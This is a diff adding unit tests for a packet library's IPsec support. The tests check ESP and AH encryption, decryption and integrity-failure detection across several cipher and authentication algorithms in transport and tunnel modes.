+= IPv4 / ESP - Tunnel - NULL - SHA2-384-192
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - SHA2-384-192 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - SHA2-512-256
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - SHA2-512-256 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - HMAC-MD5-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - AES-CMAC-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - AES-CMAC-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+###############################################################################
++ IPv4 / ESP - Encryption + Authentication
+
+#######################################
+= IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - AES-GCM - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#    mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\x66\x00\x28\x86\xe9\xdf\xc5\x24\xb0\xbd\xfd\x62\x61\x7e\xd3\x76'
+               b'\x7b\x48\x28\x8e\x76\xaa\xea\x48\xb8\x40\x30\x8a\xce\x50\x71\xbb'
+               b'\xc0\xb2\x47\x71\xd7\xa4\xa0\xcb\x03\x68\xd3\x16\x5a\x7c\x37\x84'
+               b'\x87\xc7\x19\x59\xb4\x7c\x76\xe3\x48\xc0\x90\x4b\xd2\x36\x95\xc1'
+               b'\xb7\xa4\xb6\x7b\x89\xe6\x4f\x10\xae\xdb\x84\x47\x46\x00\xb4\x44'
+               b'\xe6\x6d\x16\x55\x5f\x82\x36\xa5\x49\xf7\x52\x81\x65\x90\x4d\x28'
+               b'\x92\xb2\xe3\xf1\xa4\x02\xd2\x37\xac\x0b\x7a\x10\xcf\x64\x46\xb9',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - AES-GCM - NULL - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - AES-CCM - NULL
+~ crypto_advanced
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d == p)
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#    mode tunnel aead 'rfc4309(ccm(aes))' '0x3136627974656b657933627974656e6f6e6365' 64
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\x2e\x02\x9f\x1f\xad\x76\x80\x58\x8f\xeb\x45\xf1\x66\xe3\xad\xa6'
+               b'\x90\x1b\x2b\x7d\xd3\x3d\xa4\x53\x35\xc8\xfa\x92\xfd\xd7\x42\x2f'
+               b'\x87\x60\x9b\x46\xb0\x21\x5e\x82\xfb\x2f\x59\xba\xf0\x6c\xe5\x51'
+               b'\xb8\x36\x20\x88\xfe\x49\x86\x60\xe8\x0a\x3d\x36\xb5\x8a\x08\xa9'
+               b'\x5e\xe3\x87\xfa\x93\x3f\xe8\xc2\xc5\xbf\xb1\x2e\x6f\x7d\xc5\xa5'
+               b'\xd8\xe5\xf3\x25\x21\x81\x43\x16\x48\x10\x7c\x04\x31\x20\x07\x7c'
+               b'\x7b\xda\x5d\x1a\x72\x45\xc4\x79',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - AES-CCM - NULL - altered packet
+~ crypto_advanced
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-GCM - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-CCM - NULL
+~ crypto_advanced
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-CCM - NULL
+~ crypto_advanced
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+###############################################################################
++ IPv4 / AH - Transport
+
+#######################################
+= IPv4 / AH - Transport - HMAC-SHA1-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Transport - HMAC-SHA1-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before decryption
+e[TCP].sport = 5
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Transport - SHA2-256-128
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Transport - SHA2-256-128 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Transport - SHA2-384-192
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.ttl = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / AH - Transport - SHA2-384-192 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / AH - Transport - SHA2-512-256
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an AH layer
+assert(e.proto == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
